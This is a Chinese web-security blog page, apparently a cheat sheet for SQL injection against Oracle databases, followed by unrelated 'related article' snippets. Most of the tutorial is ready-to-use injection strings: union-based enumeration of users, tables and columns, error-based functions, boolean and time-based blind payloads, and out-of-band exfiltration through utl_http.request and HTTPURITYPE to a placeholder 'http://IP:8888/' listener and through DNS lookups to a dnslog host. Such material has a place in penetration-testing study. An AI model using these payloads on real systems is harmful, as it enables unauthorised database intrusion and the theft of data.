当前位置: 首页 > news >正文

WEB安全--SQL注入--Oracle注入

一、Oracle知识点了解

1.1、系统变量与表

版本号:SELECT * FROM V$VERSION

用户名:USER、SYS_CONTEXT('USERENV','SESSION_USER')

库名:ALL_USERS、USER_USERS、DBA_USERS

表名:ALL_TABLES、DBA_TABLES、USER_TABLES

字段名:ALL_TAB_COLUMNS、USER_TAB_COLUMNS

1.2、CASE

没有 IF(),用 CASE WHEN ... THEN ... ELSE ... END


1.3、字符串拼接(||)

字符串拼接用 ||,不是 +
 

1.4、延时

DBMS_PIPE.RECEIVE_MESSAGE('X',5)

DBMS_LOCK.SLEEP(5)



1.5、其他注意点

类型严格,最好使用 ?id=1 and 1=(...)-- + 这种形式注入

查询语句后面必须要跟值(from dual):select user from dual

二、Oracle信息查询 

当前用户:UNION SELECT USER FROM DUAL

当前数据库:UNION SELECT SYS_CONTEXT('USERENV','CURRENT_SCHEMA') FROM DUAL

数据库版本:UNION SELECT BANNER FROM V$VERSION

表名枚举:SELECT table_name FROM all_tables

列名枚举:SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

三、Oracle注入手段

3.1、联合查询

注入点判断

?id=-0'+AND+1=1-- 
?id=-0'+AND+1=2-- 

判断字段数

?id=-0'+ORDER+BY+3-- 

版本信息

?id=-0'+UNION+SELECT+BANNER,+NULL+FROM+sys.v_$version+WHERE+ROWNUM+=+1--

判断字段类型和回显位置

?id=-0'+UNION+SELECT+NULL+,+NULL+FROM+DUAL--
//修改null为'null',判断字段类型均为字符型
?id=-0'+UNION+SELECT+'NULL'+,+'NULL'+FROM+DUAL--

查看当前数据库

?id=-0'+UNION+SELECT+'NULL'+,+
(select+instance_name+from+V$INSTANCE+where+rownum=1)+FROM+DUAL--

查看当前用户权限

?id=-0'+UNION+SELECT+'NULL'+,+(select+*+from+session_roles+where+rownum=1)
+FROM+DUAL--

查看当前数据库用户

?id=-0'+UNION+SELECT+'NULL'+,+(select+user+from+dual+where+rownum=1)
+FROM+DUAL--

查询表名

?id=-0'+UNION+SELECT+'NULL'+,+
(select+table_name+from+user_tables+where+rownum=1)+FROM+DUAL--//加入条件限制,不显示第一个表名and+table_name+not+in+'PRODUCTS'
?id=-0'+UNION+SELECT+'NULL'+,+
(select+table_name+from+user_tables+where+rownum=1+and+table_name+not+in+'PRODUCTS')+FROM+DUAL--

查询列名

?id=-0'+UNION+SELECT+'NULL'+,+
(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1)
+FROM+DUAL--//加入条件限制,不显示第一个列名: and+column_name+not+in+'ID'
?id=-0'+UNION+SELECT+'NULL'+,+
(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1+
and+column_name+not+in+'ID')+FROM+DUAL--//加入条件限制,不显示第一个和第二个列名: and+column_name+not+in+'ID'+and+column_name+not+in+'CATEGORY'
?id=-0'+UNION+SELECT+'NULL'+,+
(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1+
and+column_name+not+in+'ID'+and+column_name+not+in+'CATEGORY')+FROM+DUAL--

3.2、报错注入

#1.ctxsys.drithsx.sn()
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --#2.XMLType()
?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --#3.dbms_xdb_version.checkin()
?id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --#4.bms_xdb_version.makeversioned()
?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --#5.dbms_xdb_version.uncheckout()
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --#6.dbms_utility.sqlid_to_sqlhash()
?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --#7.ordsys.ord_dicom.getmappingxpath()
?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

3.3、布尔盲注

decode函数布尔盲注

#decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3ASCII码(a-z~A-Z 32~126)
//测试用户名长度
?id=1 and 6=(select length(user) from dual) --
//爆第一个字符
?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --
//爆第二个字符
?id=1 and 1=(select decode(ascii(substr(user,2,1)),'83',1,0) from dual) --
...
//验证爆出的是否正确
?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --//查数据库,表名,列名,数据都可以结合union注入更换user字符进行注入。
?id=1 and 1=(select decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),'83',1,0) from dual) --

case then函数布尔盲注

//这句话的意思是当user的第一个字符的ascaii码=83时,返回1,否则返回2
case when ascii(substr(user,1,1))=83 then 1 else 2 end//盲注中的应用
?id=1 and 1=(case when ascii(substr(user,1,1))=83 then 1 else 2 end)--

3.4、时间盲注

//DBMS_PIPE.RECEIVE_MESSAGE函数的作用是从指定管道获取消息。
用法:DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)
pipename:varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
timeout:integer的可选输入参数,用来指定等待时间。//盲注中的应用
?id=1 and 1=(dbms_pipe.receive_message('x', 5))--//结合布尔进行注入
?id=1 and 1=(select 
decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('x',5),0) from dual) --

3.5、外带数据注入

url_http.request()

1.首先检测是否支持url_http.request(),页面返回正常则表示支持
http://127.0.0.1/aaa.php?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --2.本地监听,观察执行SQL语句反弹输出
python3 -m http.server 8888
或者nc -lvvp 88883.http访问时可以将||进行URL编码%7C%7C
http://127.0.0.1/aaa.php?id=1 and utl_http.request('http://IP:8888/'||(select banner from sys.v_$version where rownum=1))=1--

utl_inaddr.get_host_address()

#使用dnslog外带数据  ||进行URL编码%7C%7C
http://127.0.0.1/aaa.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.xxxx.dnslog.cn') from dual)is not null --bbjhiw.dnslog.cn

HTTPURITYPE()

1.本地监听,观察执行SQL语句反弹输出
python3 -m http.server 8888
或者nc -lvvp 88882.http访问时可以将||进行URL编码%7C%7C
http://127.0.0.1/aaa.php?id=1 and (select HTTPURITYPE('http://IP:8888/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --

相关文章:

WEB安全--SQL注入--Oracle注入

一、Oracle知识点了解 1.1、系统变量与表 版本号:SELECT * FROM V$VERSION 用户名:USER、SYS_CONTEXT(USERENV,SESSION_USER) 库名:ALL_USERS、USER_USERS、DBA_USERS 表名:ALL_TABLES、DBA_TABLES、USER_TABLES 字段名&…...

Unity预制体变体(Prefab Variants)、接口(Interface)、抽象类(Abstract Class)、枚举(Enumeration)

一、预制体变体(Prefab Variants) 预制体变体是什么? 预制体变体是指从同一个基础预制体派生出来的不同版本的预制体。这些变体可以包含不同的组件配置、属性值、子对象或者行为,但它们共享一些共同的基础结构和特性。通过创建预…...

pymol包安装和使用

PyMOL 是一款分子可视化软件,而pymol则是其对应的 Python 包,借助它能够实现对 PyMOL 的编程控制。 主要功能 分子结构可视化:支持展示蛋白质、核酸、小分子等多种分子的 3D 结构。自定义渲染:可对分子的表示方式、颜色以及光照…...

【学习笔记】机器学习(Machine Learning) | 第七章|神经网络(2)

机器学习(Machine Learning) 简要声明 基于吴恩达教授(Andrew Ng)课程视频 BiliBili课程资源 文章目录 机器学习(Machine Learning)简要声明 神经网络在图像识别及手写数字识别中的应用一、神经网络在图像识别中的应用&#xff0…...

【神经网络与深度学习】model.eval() 模式

引言 在深度学习模型的训练和推理过程中,不同的模式设置对模型的行为和性能有着重要影响。model.eval() 是 PyTorch 等深度学习框架中的关键操作,它用于将模型切换到评估模式(evaluation mode),确保模型在测试和推理阶…...

ASIC和FPGA,到底应该选择哪个?

ASIC和FPGA各有优缺点。 ASIC针对特定需求,具有高性能、低功耗和低成本(在大规模量产时);但设计周期长、成本高、风险大。FPGA则适合快速原型验证和中小批量应用,开发周期短,灵活性高,适合初创企…...

JavaScript 性能优化实战指南

JavaScript 性能优化实战指南 前言 随着前端应用复杂度提升,JavaScript 性能瓶颈日益突出。高效的性能优化不仅能提升用户体验,还能增强系统稳定性和可维护性。本文系统梳理了 JavaScript 性能优化的核心思路、常见场景和实战案例,结合代码…...

Unity3D HUD UI性能优化方案

前言 在Unity3D中实现高性能的HUD UI需要综合考虑渲染效率、CPU开销和内存管理。以下是分步的优化方案: 对惹,这里有一个游戏开发交流小组,大家可以点击进来一起交流一下开发经验呀! 1. 降低Draw Call:合批与图集 …...

晶圆Map图芯片选择显示示例

效果 列表中有四个Mark点,需求是选择某一个点时在Map图中区别显示出来。 实现思路: 根据DataGrid 的行选择 SelectionChanged事件,先循环所有Mark点清除Rectangle的边框大小,再获取选择的芯片,设置Rectangle的边框大小和颜色。 示例代码 1.UI代码 <DataGrid Grid.…...

HarmonyOS实战:自定义时间选择器

前言 最近在日常鸿蒙开发过程中&#xff0c;经常会使用一些时间选择器&#xff0c;鸿蒙官方提供的时间选择器满足不了需求&#xff0c;所以自己动手自定义一些经常会使用到的时间选择器&#xff0c;希望能帮到你&#xff0c;建议点赞收藏&#xff01; 实现效果 需求分析 默认…...

汽车零部件的EMI抗扰性测试

写在前面 本系列文章主要讲解汽车零部件的EMI抗扰性测试的相关知识,希望能帮助更多的同学认识和了解汽车零部件的EMI抗扰性测试。 若有相关问题,欢迎评论沟通,共同进步。(*^▽^*) 1. 背景介绍 多年以来,电磁干扰(EMI)效应一直是现代电子控制系统中备受关注的一个问题。…...

新能源汽车充电桩管理平台如何利用智慧技术优化资源配置问题?

在“双碳”目标的推动下&#xff0c;我国新能源汽车市场迅猛发展&#xff0c;但充电基础设施的供需失衡问题日益突出。部分区域充电桩利用率低下&#xff0c;而核心城区、高速服务区等场景却面临“一桩难求”的困境。智慧技术的引入为解决这一难题提供了新思路。通过物联网&…...

【zookeeper】--部署3.6.3

文章目录 下载解压创建data和logs配置文件1)创建目录并且编辑 zoo.cfg2)接下来将 node01 的 ZooKeeper 所有文件拷贝至 node02 和 node03。推荐从 node02 和 node03 拷贝4&#xff09;最后 vim /etc/profile 配置环境变量&#xff0c;环境搭建结束。配完环境变量后 source /etc…...

[低代码] 明道云调用本地部署 Dify 的进阶方法

在低代码开发平台明道云中,集成外部智能服务(如 Dify)可以极大地提升自动化和智能化能力。之前我们介绍了使用“发送自定义 API”节点直接调用本地部署的 Dify 服务的方法,虽然简单直观,但该方式存在一些限制,比如无法设置 Timeout、逻辑复用性差等问题。 为了构建更稳定…...

ICU库交叉编译

交叉编译步骤 Step 1: 先进行本机编译 ./runConfigureICU Linux/gccmake Step 2: 执行交叉编译 source /opt/fsl-imx-fb/4.14-sumo/environment-setup-cortexa9hf-neon-poky-linux-gnueabimkdir cross_install./configure --disable-samples --disable-tests --prefix/medi…...

永磁同步电机高性能控制算法(22)——基于神经网络的转矩脉动抑制算法为什么低速时的转速波动大?

0. 前言 在之前的知乎上发过一些转矩脉动抑制/谐波电流抑制的算法。例如&#xff1a; https://zhuanlan.zhihu.com/p/24723996895https://zhuanlan.zhihu.com/p/24723996895 这些算法基本上都需要先知道谐波的频率。 重复控制这个算法虽然可以抑制掉某个频率及其所有整数倍的…...

Java大厂面试实战:Spring Boot与微服务场景中的技术点解析

Java大厂面试实战&#xff1a;Spring Boot与微服务场景中的技术点解析 第一轮&#xff1a;基础技术了解 面试官&#xff1a;谢飞机&#xff0c;你好。从简历上看&#xff0c;你熟悉Spring Boot&#xff0c;那我们来聊聊它的核心功能吧。Spring Boot有哪些主要的特性&#xff…...

Pycharm 选择Python Interpreter

你的系统可能有多个 Python 环境&#xff0c;比如&#xff1a; macOS 自带的 /usr/bin/python3 你用 brew install python 安装的 /opt/homebrew/bin/python3 你可能还用了虚拟环境&#xff08;venv 或 conda&#xff09; PyCharm 默认配置可能用的是一个虚拟环境&#xff…...

文件夹如何打包成jar包

应用场景 主要是&#xff1a;比如 maven 引入一个依赖&#xff08;其实就是下载了一个 jar 包&#xff09;&#xff0c;然后需要修改 jar 包里面的某个文件&#xff0c;然后再重新打包成 jar 包&#xff0c;如下图&#xff1a; 使用方法 使用压缩工具打开这个 jar 包&#xf…...

sqli-labs第九关—‘时间盲注

一&#xff1a;判断闭合类型 先按照之前的判断方式判断&#xff0c;发现无论输入什么都显示You are in.......... 可以考虑使用时间盲注&#xff1a; 二&#xff1a;时间盲注Time-based Blind&#xff1a; 1.解释&#xff1a; 通过时间延迟判断结果 2.核心原理&#xff1a…...

10.15 LangChain v0.3重磅升级:Tool Calling技术颠覆大模型工具调用,效率飙升300%!

LangChain v0.3 技术生态与未来发展:支持 Tool Calling 的大模型 关键词:LangChain Tool Calling, 大模型工具调用, @tool 装饰器, ToolMessage 管理, Few-shot Prompting 1. Tool Calling 的技术革新 LangChain v0.3 的工具调用(Tool Calling)功能标志着大模型应用开发进…...

【C++】哈希的概念与实现

1.哈希概念 通过某种函数使元素的存储位置与它的关键码之间能够建立一一映射的关系&#xff0c;可以不经过任何比较&#xff0c;一次直接从表中得到要搜索的元素。 当向该结构中&#xff1a; 插入元素&#xff1a; 根据待插入元素的关键码&#xff0c;以此函数计算出该元素的…...

Spring 代理与 Redis 分布式锁冲突:一次锁释放异常的分析与解决

Spring 代理与 Redis 分布式锁冲突&#xff1a;一次锁释放异常的分析与解决 Spring 代理与 Redis 分布式锁冲突&#xff1a;一次锁释放异常的分析与解决1. 问题现象与初步分析2 . 原因探究&#xff1a;代理机制对分布式锁生命周期的干扰3. 问题复现伪代码4. 解决方案&#xff1…...

vue Element-ui对图片上传和选用时的比例控制

vue Element-ui对图片上传和选用时的比例控制 在后台上传图片和选用已经上传的图片时&#xff0c;往往会因为图片的比例控制不到位导致在客户端渲染时效果差强人意&#xff0c;虽然可以在操作时选择合适的比例上传&#xff0c;但必要的控制还是能完成渲染时良好的体验&#xf…...

UE5在C++项目中判断不同平台

在Unreal Engine 5的C代码中&#xff0c;可以通过以下方法判断当前运行的平台&#xff08;如Android、Windows、iOS&#xff09;&#xff0c;并根据平台执行不同的逻辑&#xff1a; 方法1&#xff1a;使用预处理器宏&#xff08;编译时判断&#xff09; Unreal Engine提供了一…...

用 CodeBuddy 实现「IdeaSpark 每日灵感卡」:一场 UI 与灵感的极简之旅

项目起点&#xff1a;一次随手的灵感 有时候&#xff0c;灵感稍纵即逝&#xff0c;尤其是面对屏幕发呆的时候。那天我忽然想到——要是能有一个每天弹出一句创意提示、灵感金句的应用就好了&#xff0c;最好配上简洁但有氛围感的 UI&#xff0c;像抽一张卡片一样&#xff0c;轻…...

std::ranges::views::as_const 和 std::ranges::as_const_view

std::ranges::views::as_const 和 std::ranges::as_const_view 是 C23 引入的视图适配器&#xff0c;用于生成一个不可变的视图&#xff0c;确保通过该视图访问元素时&#xff0c;元素被视为常量。以下是详细说明和示例&#xff1a; 基本概念 功能&#xff1a; 将输入范围的元素…...

3D 数据交换格式(.3DXML)简介

3DXML 是一种基于 XML 的 3D 数据交换格式&#xff0c;由达索系统(Dassault Systmes)开发&#xff0c;主要用于其 CATIA、SOLIDWORKS 和 3DEXPERIENCE 等产品中。 基本概述 ​​全称​​&#xff1a;3D XML​​开发者​​&#xff1a;达索系统​​主要用途​​&#xff1a;3D…...

深度解析3D模型生成器:基于StyleGAN3与PyTorch3D的多风格生成工具开发实战

引言&#xff1a;跨模态生成的革命性突破 在元宇宙与数字孪生技术蓬勃发展的今天&#xff0c;3D内容生成已成为制约产业发展的关键瓶颈。传统建模方式依赖专业软件和人工操作&#xff0c;而基于深度学习的生成模型正颠覆这一范式。本文将深入解析如何构建支持多风格生成的3D模…...

DTAS 3D多约束装配助力悬架公差分析尺寸链计算:麦弗逊/双叉臂/多连杆/H臂一网打尽

摘要&#xff1a;汽车四轮定位参数与悬架密切相关。汽车悬架对于车辆的行驶性能、安全性和舒适性至关重要。DTAS 3D提供了各类型悬架的公差仿真分析方法。 关键字&#xff1a;DTAS 3D、前后悬架、公差仿真分析、 运动耦合 一、悬架公差分析综述 悬架是车身&#xff08;或车架…...

CRMEB多商户预约服务上门师傅端

随着科技的不断发展&#xff0c;人们对于生活品质的要求也在不断提高。在这个过程中&#xff0c;各种便捷的上门服务应运而生&#xff0c;为我们的生活带来了极大的便利。而CRMEB多商户预约服务上门师傅端正是这样一款致力于为用户提供专业、高效、便捷的上门服务的应用。 一、…...

labview硬件开发板——LED流水灯

函数 &#xff1a; int DoSetV12( unsigned char chan, unsigned char state); 功能 &#xff1a;设置 OUT0—3 的输出状态&#xff0c;输入参数为 8 位字符型&#xff0c; Chan&#xff1a;4 位要设置的通道&#xff0c;0 对应 OUT1……3 对应 OUT4 ( 注意&#xff1a;开…...

linux——mysql故障排查与生产环境优化

目录 一&#xff0c;mysql数据库常见的故障 1&#xff0c;故障现象1 2&#xff0c;故障现象2 3&#xff0c;故障现象3 &#xff14;&#xff0c;故障现象&#xff14; &#xff15;&#xff0c;故障现象&#xff15; &#xff16;&#xff0c;故障现象&#xff16; 二&…...

MongoDB及spring集成

MongoDB 是一个基于 分布式文件存储 的开源 NoSQL 数据库系统 用文档存数据&#xff0c;每个文档可以看作是一个键值对集合&#xff0c;类似于 JSON 对象 MongoDB 支持索引以提高查询性能&#xff0c;并且可以在任何属性上创建索引 文档&#xff08;Document&#xff09; M…...

一发入魂:极简解决 SwiftUI 复杂视图未能正确刷新的问题(下)

概述 各位似秃非秃小码农们都知道,在 SwiftUI 中视图是状态的函数,这意味着状态的改变会导致界面被刷新。 但是,对于有些复杂布局的 SwiftUI 视图来说,它们的界面并不能直接映射到对应的状态上去。这就会造成一个问题:状态的改变并没有及时的引起 UI 的变化。 如上图所示…...

关于我在使用stream().toList()遇到的问题

关于我在使用stream().toList()遇到的问题 问题描述 在测试以上程序的时候抛出了空指针异常 于是我以为是我数据库中存在null字段&#xff0c;但查看后发现并不存在为null的数据 问题排查 起初我以为问题出现在sort排序方法这&#xff0c;事实也确实是&#xff0c;当我把s…...

如何通过生成式人工智能认证(GAI认证)提升自己的技能水平?

当生成式人工智能从实验室走向生产线,职场人正面临一个关键抉择:是被动等待技术浪潮的冲刷,还是主动构建适应未来的能力护城河?职业技能培训的终极目标,早已超越“掌握工具”的初级阶段,转向“构建技术认知体系”的深层需求。生成式人工智能认证(GAI认证)的兴起,正是这…...

通讯协议串口 | 485标准

485通讯&#xff08;RS-485&#xff09;详解 一、基本概念与核心原理 定义与标准 RS-485&#xff08;又称EIA-485&#xff09;是一种由美国电子工业协会&#xff08;EIA&#xff09;制定的差分信号串行通信标准&#xff0c;属于OSI模型的物理层协议。它专为工业环境设计&#…...

新能源充电桩智慧管理系统:未来新能源汽车移动充电服务发展前景怎样?

随着全球新能源汽车保有量的持续攀升&#xff0c;传统固定充电桩建设速度已难以满足用户日益增长的补能需求。在这一背景下&#xff0c;移动充电服务作为充电基础设施的重要补充&#xff0c;正展现出巨大的发展潜力。政策支持、技术进步&#xff08;如快充、智能调度&#xff0…...

【强化学习】#6 n步自举法

主要参考学习资料&#xff1a;《强化学习&#xff08;第2版&#xff09;》[加]Richard S.Suttion [美]Andrew G.Barto 著 文章源文件&#xff1a;https://github.com/INKEM/Knowledge_Base 概述 n步时序差分方法是蒙特卡洛方法和时序差分方法更一般的推广。将单步Sarsa推广到n…...

双指针算法:原理与应用详解

文章目录 一、什么是双指针算法二、双指针算法的适用场景三、双指针的三种常见形式1. 同向移动指针2. 相向移动指针3. 分离指针 四、总结 一、什么是双指针算法 双指针算法&#xff08;Two Pointers Technique&#xff09;是一种在数组或链表等线性数据结构中常用的高效算法技…...

小土堆pytorch--神经网路的基本骨架(nn.Module的使用)卷积操作

小土堆pytorch–神经网路的基本骨架&#xff08;nn.Module的使用&#xff09; 对于官网nn.Module操作的解释 在pytorch官网可以看到 对于上述forward函数的解释&#xff1a; 示例代码 import torch from torch import nnclass Test(nn.Module): # 继承神经网路的基本骨架…...

数据库连接池技术与 Druid 连接工具类实现

目录 1. 数据库连接池简介 1.1. 什么是数据库连接池 1.2. 不使用数据库连接池可能存在的问题 1.3. JDBC数据库连接池的必要性 1.4. 数据库连接池的优点 1.5. 常用的数据库连接池 2. Druid连接池 2.1. Druid简介 2.2. Druid使用步骤 2.2.1. 第一步的步骤详解&#xff…...

chrome源码中WeakPtr 跨线程使用详解:原理、风险与最佳实践

base::WeakPtr 在 Chromium 中 不能安全地跨线程使用。这是一个很关键的点&#xff0c;下面详细解释原因及正确用法。 &#x1f50d;原理与使用 ✅ 先说答案&#xff1a; base::WeakPtr 本质上是**线程绑定&#xff08;thread-affine&#xff09;**的。不能在多个线程之间创建…...

vue2使用three.js实现一个旋转球体

vue页面中 <div ref"container"></div>data声明 scene: null, camera: null, renderer: null, controls: null, rotationType: sphere, rotationTimer: null,backgroundImageUrl: https://mini-app-img-1251768088.cos.…...

社交平台推出IP关联机制:增强用户体验与网络安全的新举措

社交平台为我们提供与亲朋好友保持联系、分享生活点滴的便捷渠道&#xff0c;还成为了信息传播、观点交流的重要平台。然而&#xff0c;随着社交平台的普及&#xff0c;网络空间中的虚假信息、恶意行为等问题也日益凸显。为了应对这些挑战&#xff0c;许多社交平台相继推出IP关…...

sherpa-ncnn:音频处理跟不上采集速度 -- 语音转文本大模型

目录 1. 问题报错2. 解决方法 1. 问题报错 报错&#xff1a; An overrun occurred, which means the RTF of the current model on your board is larger than 1. You can use ./bin/sherpa-ncnn to verify that. Please select a smaller model whose RTF is less than 1 fo…...

【android bluetooth 协议分析 01】【HCI 层介绍 8】【ReadLocalVersionInformation命令介绍】

1. HCI_Read_Local_Version_Information 命令介绍 1. 功能&#xff08;Description&#xff09; HCI_Read_Local_Version_Information 命令用于读取本地 Bluetooth Controller 的版本信息&#xff0c;包括 HCI 和 LMP 层的版本&#xff0c;以及厂商 ID 和子版本号。 这类信息用…...

android13以太网静态ip不断断开连上问题

总纲 android13 rom 开发总纲说明 文章目录 1.前言2.log记录3.问题分析4.代码修改5.彩蛋1.前言 android13以太网静态ip不断断开连上,具体情况为保存静态以太网成功后,可以看到以太网链接成功的图标,但是几秒后会消失,出现断网,几秒后又出现,反复出现和消失。 2.log记录…...

UA 编译和建模入门教程(zhanzhi学习笔记)

一、使用SIOME免费工具建模 从西门子官网下载软件SIOS&#xff0c;需要注册登录&#xff0c;下载安装版就行。下载后直接安装就可以用了&#xff0c;如图&#xff1a; 安装完成后打开&#xff0c;开始建模&#xff0c;如图左上角有新建模型的按钮。 新建了新工程后&#xff0c…...